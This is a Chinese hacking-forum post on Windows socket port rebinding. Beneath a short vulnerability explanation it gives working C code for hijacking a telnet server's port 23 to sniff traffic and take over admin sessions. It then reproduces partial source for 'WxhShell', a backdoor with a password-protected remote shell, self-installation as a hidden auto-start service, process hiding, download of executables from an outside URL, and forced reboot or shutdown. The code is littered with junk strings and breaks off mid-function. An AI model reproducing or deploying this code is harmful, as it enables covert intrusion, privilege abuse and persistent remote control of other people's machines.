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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v{a%TA9-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z*co\ pW  
c("|xe  
  saddr.sin_family = AF_INET; !|&|%x6@  
A%.mIc.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aP  
c,2& -T}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $gBQ5Wd  
29RP$$gR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +;q\7*  
eA4:]A"  
  这意味着什么?意味着可以进行如下的攻击: {\l  
%MjoY_<:_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l:V R8g[  
2@zduL'do_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j HHWq>=d  
qLDj\%~(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J2W-l{`r<  
]5Uuz?:e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^Qs}2%  
m;OvOc,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nHm}^.B*+  
C 5.3[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '8X>,un  
cJ96{+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fc9;ZX7  
X1| +9  
  #include 7s|'NTp  
  #include ff#7}9_mh  
  #include _ >OP  
  #include    FQ< -Wc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <,]:jgX  
  int main() 2zBk#c+  
  { ;28d7e}  
  WORD wVersionRequested; 1X?ro;  
  DWORD ret; bWswF<y-  
  WSADATA wsaData; v"bWVc~H  
  BOOL val; '$tCAS  
  SOCKADDR_IN saddr; ^{+ry<rS>  
  SOCKADDR_IN scaddr; }T?X6LA$I8  
  int err; uAO!fE}CJ  
  SOCKET s; a1cX+{W  
  SOCKET sc; "Oxr}^% i  
  int caddsize; E=sh^Q(A  
  HANDLE mt; U zy@\  
  DWORD tid;   ,-c,3/tyA  
  wVersionRequested = MAKEWORD( 2, 2 ); fzSkl`K}  
  err = WSAStartup( wVersionRequested, &wsaData ); :5t4KcQ  
  if ( err != 0 ) { zwfft  
  printf("error!WSAStartup failed!\n"); @Kpm&vd(  
  return -1; Y <6|z3  
  } Q dj(D\.  
  saddr.sin_family = AF_INET; Q"QRF5Ue  
   F \:~^`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I5Vn#_q+b  
(t4i&7-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n ay\)  
  saddr.sin_port = htons(23); uF7vba$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  0,Ds1y^  
  { 22l'kvo4"  
  printf("error!socket failed!\n"); /Ew()>Y  
  return -1; r&u1-%%9[  
  } Za|7gt];l  
  val = TRUE; x93@[B*%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %BI8m|6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Vk6c^/v  
  { +:KZEFY?<  
  printf("error!setsockopt failed!\n"); 14,)JZN  
  return -1; S^QEctXU  
  } CmU@8-1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #7uH>\r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ia2WBs =  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *p{p.%Qs:  
$fb%?n{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mv9D{_,pD  
  { Pf;OYWST  
  ret=GetLastError(); 6uRE9h|  
  printf("error!bind failed!\n"); HSruue8  
  return -1; {v"f){   
  } (j8*F Bq  
  listen(s,2); >tg)F|@  
  while(1) 4H8r[  
  { (Jq m9  
  caddsize = sizeof(scaddr); 5_^d3LOT0x  
  //接受连接请求 i\xs!QU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  hb[ThQ  
  if(sc!=INVALID_SOCKET) e~vO   
  { <&eJIz=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `,O7S9]R+  
  if(mt==NULL) {z oGwB  
  { 6#=Iv X4  
  printf("Thread Creat Failed!\n"); "im5Fnu  
  break;  exWQ~&  
  } 1j2U,_-  
  } HNZ$CaJh  
  CloseHandle(mt); iM .yen_vp  
  } VwR\"8r3  
  closesocket(s); !}=eXDn;A_  
  WSACleanup(); XT^=v6^H  
  return 0; ]}`t~#Irz  
  }   -jjB2xP  
  DWORD WINAPI ClientThread(LPVOID lpParam) MTYV~S4/  
  { ^#5'` #t  
  SOCKET ss = (SOCKET)lpParam; HNkOPz+d&8  
  SOCKET sc; r/h\>s+N  
  unsigned char buf[4096]; 4" ?`p;{Z  
  SOCKADDR_IN saddr; FK BRJ5O  
  long num; <:-4GJH=  
  DWORD val; g$Tsht(rHD  
  DWORD ret; 0Gu77&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A rE~6X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EW$drY@  
  saddr.sin_family = AF_INET; C:1(<1K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %DuPM6 6r  
  saddr.sin_port = htons(23); T"\d,ug5[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aT^ $'_ G  
  { | .+P ;g  
  printf("error!socket failed!\n"); 3Ei^WDJ  
  return -1; / `cy4<  
  } =p|IWn{P  
  val = 100; GW {tZaB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #19O5  
  { s(_z1  
  ret = GetLastError(); x& _Y( bHA  
  return -1; 05F/&+V  
  } z ,;XWv?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iv`G}.Bo  
  { b GSj?t9/  
  ret = GetLastError(); 2IJniS=[>  
  return -1; E+y_te^+b  
  } PE{<' K\g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9>{ml&$  
  { `n,RC2yo  
  printf("error!socket connect failed!\n"); P)VQAM  
  closesocket(sc); /yU#UZ4;  
  closesocket(ss); '&Ur(axs  
  return -1; {"jtR<{)  
  } h]@'M1D%  
  while(1) e=XP4h  
  { sssw(F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z*HM_u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G{?`4=K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g)f& mQ)  
  num = recv(ss,buf,4096,0); )h ,v(Rxa  
  if(num>0) GX23c i  
  send(sc,buf,num,0); 'xd8rN %T  
  else if(num==0) K1YxF  
  break; ^vm6JWwN0B  
  num = recv(sc,buf,4096,0); ;Q3[} ]su  
  if(num>0) a /]FlT  
  send(ss,buf,num,0); Z<<=2Xl(  
  else if(num==0) UNSXr`9  
  break; wMgF*  
  } &qY]W=9uK  
  closesocket(ss); fAkfN H6  
  closesocket(sc); [PXq<ST  
  return 0 ; ,e|"p[z ~T  
  } /7#MJH5b6  
XD8Cf!  
`]]5!U2  
========================================================== ;\|GU@K{hC  
?!m\|'s-  
下边附上一个代码,,WXhSHELL C@;e<  
[$K8y&\L  
========================================================== D]>Z5nr |  
VJ h]j (  
#include "stdafx.h" Bi9Q8#lh  
`3? HQ2n  
#include <stdio.h> wIAH,3!  
#include <string.h> DXj>u9*%  
#include <windows.h> ,_$J-F?  
#include <winsock2.h> AJ}m2EH  
#include <winsvc.h> P3!@}!r8  
#include <urlmon.h> 3O 4,LXdA  
va QsG6q[  
#pragma comment (lib, "Ws2_32.lib") &2%|?f|  
#pragma comment (lib, "urlmon.lib") [< g9jX5  
;`xCfOY(  
#define MAX_USER   100 // 最大客户端连接数 k$5l kP.  
#define BUF_SOCK   200 // sock buffer n>,GmCo  
#define KEY_BUFF   255 // 输入 buffer P9:5kiP H  
mw^>dv?  
#define REBOOT     0   // 重启 UsA fZg8  
#define SHUTDOWN   1   // 关机 ^AI02`c.  
rS!@AgPLE  
#define DEF_PORT   5000 // 监听端口 f tl$P[T  
.* `]x  
#define REG_LEN     16   // 注册表键长度 ^uG^>Om*  
#define SVC_LEN     80   // NT服务名长度 &Qv HjjQ?u  
[;yH.wn#5  
// 从dll定义API c zT2f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2[=3-1c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UpD4'!<buV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); / ~".GZ&29  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N)D+FV29y  
Y j bp:  
// wxhshell配置信息 G 0Z5h  
struct WSCFG { 6`6 / 2C$%  
  int ws_port;         // 监听端口 I0H]s/*C%9  
  char ws_passstr[REG_LEN]; // 口令 F =*4] O  
  int ws_autoins;       // 安装标记, 1=yes 0=no | @ ut/  
  char ws_regname[REG_LEN]; // 注册表键名 "l-#v| 54  
  char ws_svcname[REG_LEN]; // 服务名 m3o -p   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JvvN>bg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xDl; tFI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 - 7T`/6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sm Ql^ 6a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p/nATvh$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |By[ev"Kh%  
MCEHv}W  
}; 'ZI8nMY  
?M|1'`!c8  
// default Wxhshell configuration jDQ?b\^  
struct WSCFG wscfg={DEF_PORT, EAXl.Y. $  
    "xuhuanlingzhe", R@pY+d9qp  
    1, S2\;\?]^~  
    "Wxhshell", R ai 0 4  
    "Wxhshell", a:l-cZ/!  
            "WxhShell Service", ;/Z-|+!IJt  
    "Wrsky Windows CmdShell Service", K,! V _  
    "Please Input Your Password: ", J]Z~.f="  
  1, <},JWV3  
  "http://www.wrsky.com/wxhshell.exe", /RqWrpzx@  
  "Wxhshell.exe" =9 )k:S(  
    }; !Tv3WQ@  
`#l3a  
// 消息定义模块 (57!{[J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o<3$|`S&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $Z;/Sh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y2jw3R  
char *msg_ws_ext="\n\rExit.";  3TCRCz  
char *msg_ws_end="\n\rQuit."; Ic_NQ<8  
char *msg_ws_boot="\n\rReboot..."; >l AtfN='  
char *msg_ws_poff="\n\rShutdown..."; w$9LcN  
char *msg_ws_down="\n\rSave to "; <,GVrVH=t"  
3Ji$igL  
char *msg_ws_err="\n\rErr!"; `vOL3`P  
char *msg_ws_ok="\n\rOK!"; j:'g*IxM_  
6MY<6t0a  
char ExeFile[MAX_PATH]; eZU9L/w:  
int nUser = 0; >O24#!9XW  
HANDLE handles[MAX_USER]; MomHSvQ\  
int OsIsNt; 7pY :.iVO  
hPNMp@Nm6  
SERVICE_STATUS       serviceStatus; I-r+1gty  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EV{Ys}3M  
(oX!D(OI  
// 函数声明 =(7nl#o  
int Install(void); J@$~q}iG  
int Uninstall(void); !*"fWahv  
int DownloadFile(char *sURL, SOCKET wsh); aif;h! ?y  
int Boot(int flag); /A-WI x  
void HideProc(void); lD3nz<p  
int GetOsVer(void); Rb0I7~Z%'d  
int Wxhshell(SOCKET wsl); 0]  
void TalkWithClient(void *cs); oS..y($TI  
int CmdShell(SOCKET sock); io+V4m  
int StartFromService(void); RM `qC  
int StartWxhshell(LPSTR lpCmdLine); dV'EiNpf  
rfEWh Vy(}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <OGG(dI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;mk[!  
+K'Hr: (  
// 数据结构和表定义 w90YlWS#  
SERVICE_TABLE_ENTRY DispatchTable[] = 2NMs-Zs  
{ h5@G eYda  
{wscfg.ws_svcname, NTServiceMain}, sg^|dS{3D  
{NULL, NULL} 8;DDCop 8L  
}; p8!T) ?|  
TMj;NSc3  
// 自我安装 OA[e}Vn  
int Install(void) rYr*D[m]  
{ nlNk  
  char svExeFile[MAX_PATH]; qt~=47<d  
  HKEY key; :HO5 T  
  strcpy(svExeFile,ExeFile); m<-ShRr*b  
(\{k-2t*^  
// 如果是win9x系统,修改注册表设为自启动 /qX?ca1_4^  
if(!OsIsNt) { 'V]&X.=zC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yk`qF'4]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VWE>w|'  
  RegCloseKey(key); ;[Mvk6^'R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9KXL6#h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :h{uZ,#Gi  
  RegCloseKey(key); z~ C8JY:  
  return 0; VX$WL"A  
    } f 5v&4  
  } k9;^|Cm k  
} c;$ 4}U4  
else { aZWj52  
cQK-Euum  
// 如果是NT以上系统,安装为系统服务 _VK I@   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *i]?J  
if (schSCManager!=0) (jc& Fk  
{ IA@>'O  
  SC_HANDLE schService = CreateService (h3L=  
  ( m$W >~  
  schSCManager, E&P2E3P  
  wscfg.ws_svcname, C_Ewu*T7  
  wscfg.ws_svcdisp, =n5'~1?X?  
  SERVICE_ALL_ACCESS, 4KM-$h,4O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PW5]+ |#  
  SERVICE_AUTO_START, Cd}^&z  
  SERVICE_ERROR_NORMAL, eluN~T:W  
  svExeFile, kyJbV[o<#  
  NULL, "Wwu Ty|  
  NULL, p%3z*2,(  
  NULL, At iUTA  
  NULL, !@=S,Vc.  
  NULL Cq\XLh `  
  ); < (xqw<)  
  if (schService!=0) y?<KN0j  
  { %y6(+I #P  
  CloseServiceHandle(schService); Qq<@;4  
  CloseServiceHandle(schSCManager); gc.Lh~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #J"xByQKK  
  strcat(svExeFile,wscfg.ws_svcname); c1yRy|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UZyg_G6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @AEH?gOX  
  RegCloseKey(key); LjI`$r.B  
  return 0; X8$i*#D  
    } .:$(o&  
  } 8W\yM;'  
  CloseServiceHandle(schSCManager); _}R[mr/  
} zt(lV  
} 6:ettdj  
/4&gA5BS]  
return 1; 1!<t8,W4  
} @8|*Ndx2  
s?w2^<P  
// 自我卸载 AE0uBv  
int Uninstall(void) vYed_'_  
{ !D#"+&&G8  
  HKEY key; =,6H2ew  
MiT0!6Pg  
if(!OsIsNt) { Ie.*x'b?y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AW]\n;f  
  RegDeleteValue(key,wscfg.ws_regname); D=0YLQ*rP  
  RegCloseKey(key); SMEl'y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]`/>hH>+~9  
  RegDeleteValue(key,wscfg.ws_regname); x b,XI/  
  RegCloseKey(key); k]~o=MLmj  
  return 0; b@Ej$t&  
  } qjB:6Jq4q  
} }L\;W:0  
} &k:xr,N=  
else { ZL( j5E  
\}Jznzx;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o,6t: ?Z  
if (schSCManager!=0) 0k]ApW  
{ ?jmP] MM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p F-Lz<V  
  if (schService!=0) 1q6)R/P  
  { :o s8"  
  if(DeleteService(schService)!=0) { \P<aK$g  
  CloseServiceHandle(schService); 5Gz!Bf@!!  
  CloseServiceHandle(schSCManager); @Zt~b'n  
  return 0; ;c!> =  
  } =;Gq:mHi  
  CloseServiceHandle(schService); Vrt$/ d  
  } F9fLJol  
  CloseServiceHandle(schSCManager); Z`Y&cKsn  
} ,md_eGF  
} fiGTI}=P  
UA>=# $  
return 1; xfYKUOp/  
} PkvW6,lS  
;4nY{)bD  
// 从指定url下载文件 m\&|#yq  
int DownloadFile(char *sURL, SOCKET wsh) a-{|/ n%  
{ ingG  
  HRESULT hr; h `Lr5)B'  
char seps[]= "/"; S!(3-{nC  
char *token; n' ~ ==2  
char *file; 7he73  
char myURL[MAX_PATH]; ~gDYb#p  
char myFILE[MAX_PATH]; F.[%0b E  
lL D#|T3  
strcpy(myURL,sURL); \V? .^/  
  token=strtok(myURL,seps); Q:-T' xk@  
  while(token!=NULL) TnF~'RZYb  
  { 6TP /0o)  
    file=token; Ku(YTXtK  
  token=strtok(NULL,seps); h^Wb<O`S  
  } zI`I Q  
[:8\F#KW  
GetCurrentDirectory(MAX_PATH,myFILE); 19E(Hsz  
strcat(myFILE, "\\"); d_9 C m@  
strcat(myFILE, file); 2bt>t[0ad  
  send(wsh,myFILE,strlen(myFILE),0); 4^F[Gp?  
send(wsh,"...",3,0); j4~(6Imm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j-<-!jTd  
  if(hr==S_OK) eh86-tQI~(  
return 0; CMj =4e  
else IMf|/a9-  
return 1; 8 v/H;65  
tFmB`*!%  
} W A/dt2D|  
A@A8xn%  
// 系统电源模块 ;uBGB h<  
int Boot(int flag) w1/QnV  
{ \+ se%O  
  HANDLE hToken; Z& _kq|  
  TOKEN_PRIVILEGES tkp; x[0T$  
nWd!ovd  
  if(OsIsNt) { wvv+~K9jq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z"`w>c.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )lG}B U.  
    tkp.PrivilegeCount = 1; UG2+Y']  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z/Rp?Jz\j/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |E8sw a  
if(flag==REBOOT) { [\8rh^LFi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) irt9%w4"  
  return 0; L!}!k N:?  
} <ToS&  
else { B/a gW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cY?|RXNmZ  
  return 0; yGa0/o18!?  
} |AYii-g  
  } =H{<}>W'  
  else { #C9f?fnM  
if(flag==REBOOT) { b}! cEJY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,GSiSn  
  return 0; f_c\uN@f  
} o,7|=.-b  
else { *!QmYH5r0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X=QX9Ux?^  
  return 0; #V k?  
} "laf:Ty1  
} *AH `ob}  
4|x _C-@  
return 1; t&?jJ7 (&8  
} "f91YX_)  
2S8;=x}/  
// win9x进程隐藏模块 <cTX;&0=  
void HideProc(void) 9D3W_eIc  
{ W@R7CQE@  
Rw+r1vW:A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )tlj{ 7p  
  if ( hKernel != NULL ) iv*RE9?^  
  { pwo$qs(p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "6U0 !.ro@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d"|_NG`vr  
    FreeLibrary(hKernel); PQaTS*0SXJ  
  } dz^HN`AlzC  
}qWnn>h9xv  
return; KI9Pw]]{-  
}  a*p|Ij  
13?:a[~=Y  
// 获取操作系统版本 *7AB0y0k  
int GetOsVer(void) aO{@.  
{ 5{=+S]  
  OSVERSIONINFO winfo; xp|1yud  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vu( 5s  
  GetVersionEx(&winfo); u`v&URM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Uh/=HNR  
  return 1; $%EX~$=m]-  
  else )Xdq+$w.  
  return 0; ]xRR/S4  
} Y-it3q'Z  
DuC#tDP  
// 客户端句柄模块 K~:SLCv E%  
int Wxhshell(SOCKET wsl) 4)iP%%JH  
{ Kw-<o!~  
  SOCKET wsh; Ta[2uv>  
  struct sockaddr_in client; It3k#A0  
  DWORD myID; q^xG%YdPz+  
kn:hxdZ  
  while(nUser<MAX_USER) Ou[`)|>  
{ (BY 0b%^  
  int nSize=sizeof(client); @ lB{!j&q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z}-CU GS  
  if(wsh==INVALID_SOCKET) return 1; JV_`E_!  
+2MF#{ tS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #?)6^uTW  
if(handles[nUser]==0) |&K;*g|a  
  closesocket(wsh); <VZ43I  
else 6aB]&WO1@  
  nUser++; syu/"KY^!  
  } 2S_u/32]W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /T6bc^nOW  
e (]]  
  return 0; =|J*9z;  
} R+.4|1p  
8(`e\)%l0  
// 关闭 socket u^xnOVE  
void CloseIt(SOCKET wsh) T[4xt,[a  
{ GyL9}  
closesocket(wsh); (-yif&  
nUser--; .4]XR/I$  
ExitThread(0); mh4 VQ9  
} o|>=< l  
;40Z/#FI  
// 客户端请求句柄 G-i2#S   
void TalkWithClient(void *cs) ZC2aIJ  
{ 9]N{8  
XR",.3LD  
  SOCKET wsh=(SOCKET)cs; ([<{RjPb  
  char pwd[SVC_LEN]; z:S:[X 0  
  char cmd[KEY_BUFF]; oaha5aWH  
char chr[1]; (}F@0WYT^O  
int i,j; !Gnm<|.  
64b AWHv  
  while (nUser < MAX_USER) { wmV=GV8 d  
Z42q}Fhm*R  
if(wscfg.ws_passstr) { %@%rdrZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y~*B%KnEQy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^jL44? W}l  
  //ZeroMemory(pwd,KEY_BUFF); ,X|FyO(p  
      i=0; rmBzLZ}  
  while(i<SVC_LEN) { xj33g6S  
*0oa2fz%  
  // 设置超时 ThP~k9-  
  fd_set FdRead; +Y*4/w[   
  struct timeval TimeOut; D(Z#um8n  
  FD_ZERO(&FdRead); Vel(+HS  
  FD_SET(wsh,&FdRead); Q65M(x+oy  
  TimeOut.tv_sec=8; {{gd}g  
  TimeOut.tv_usec=0; OLF6["0Rn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KUPQ6v }  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i.^UkN{  
W|{!0w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D*46,>Tv  
  pwd=chr[0]; C% z9Q  
  if(chr[0]==0xd || chr[0]==0xa) { ^x*J4jl  
  pwd=0; c>c3qjWY/  
  break; U(+QrC:  
  } [ s/j?/9  
  i++; rp @%0/[  
    } n9 bp0#K  
 o4 "HE*  
  // 如果是非法用户,关闭 socket 8WLh7[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +R$;LtR  
} r_ m|?U %  
aA*h*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =|O]X|y-lZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )2Q0NbDn  
;=%cA#}_0  
while(1) { Eb5>c/(  
p? +!*BZ  
  ZeroMemory(cmd,KEY_BUFF);  j AoI`J  
j^Qk\(^#IV  
      // 自动支持客户端 telnet标准   k,OxGG  
  j=0; f[`&3+  
  while(j<KEY_BUFF) { D}{]5R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (.z0.0W  
  cmd[j]=chr[0]; U/HF6=Wot  
  if(chr[0]==0xa || chr[0]==0xd) { V LeYO5'L  
  cmd[j]=0; 9l[C&0w#\  
  break; PHez5}T  
  } ^eV  K.  
  j++; ~s?y[yy6i  
    } / gaC  
3<Z@!ft8  
  // 下载文件 u3 +]3!BQ  
  if(strstr(cmd,"http://")) { >_\]c-~<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >Ir?)h  
  if(DownloadFile(cmd,wsh)) Efd@\m:~>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CJ3/8*;w  
  else O#^qd0e'P!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I#F, Mb>:  
  } 2*-qEUl1  
  else { pP\^bjI   
;]BNc"  
    switch(cmd[0]) { ]RVme^=  
   j)mS3#cH  
  // 帮助 z`J-J*R>d  
  case '?': { B(wi+;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =xH>,-8}  
    break; |f}`uF  
  } *MWI`=c  
  // 安装 sWq}/!@&  
  case 'i': { ZE/Aj/7Qy  
    if(Install()) ~vZ1.y4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MA 6uJT  
    else od vUU#l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X-"0Zc  
    break; TU| 0I  
    } 5B{Eg?  
  // 卸载 \3t)7.:4  
  case 'r': { Vx n-  
    if(Uninstall()) YL4yT`*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H[/^&1P  
    else X*r?@uK5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -,"eN}P^  
    break; \7(OFT\u:  
    } eA9r M:  
  // 显示 wxhshell 所在路径 UXS+GAWU  
  case 'p': { I\82_t8  
    char svExeFile[MAX_PATH]; KXo[;Db)k  
    strcpy(svExeFile,"\n\r"); K+U0YMRmz  
      strcat(svExeFile,ExeFile); 0te[i*G  
        send(wsh,svExeFile,strlen(svExeFile),0); Nu}Zsb|{  
    break; P9#}aw+  
    } y(r(q  
  // 重启 n*qn8Dq  
  case 'b': { pmDFmES  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #fF';Y7  
    if(Boot(REBOOT)) OFlY"O S[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lHgmljn5u  
    else { \/ /{\d  
    closesocket(wsh); T!H }^v  
    ExitThread(0);  [ "Jt2  
    } ,NU`aG-  
    break; y-:d`>b>\  
    } 14Jkr)N  
  // 关机 v}"DW?  
  case 'd': { $,7Yo nc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k`,>52  
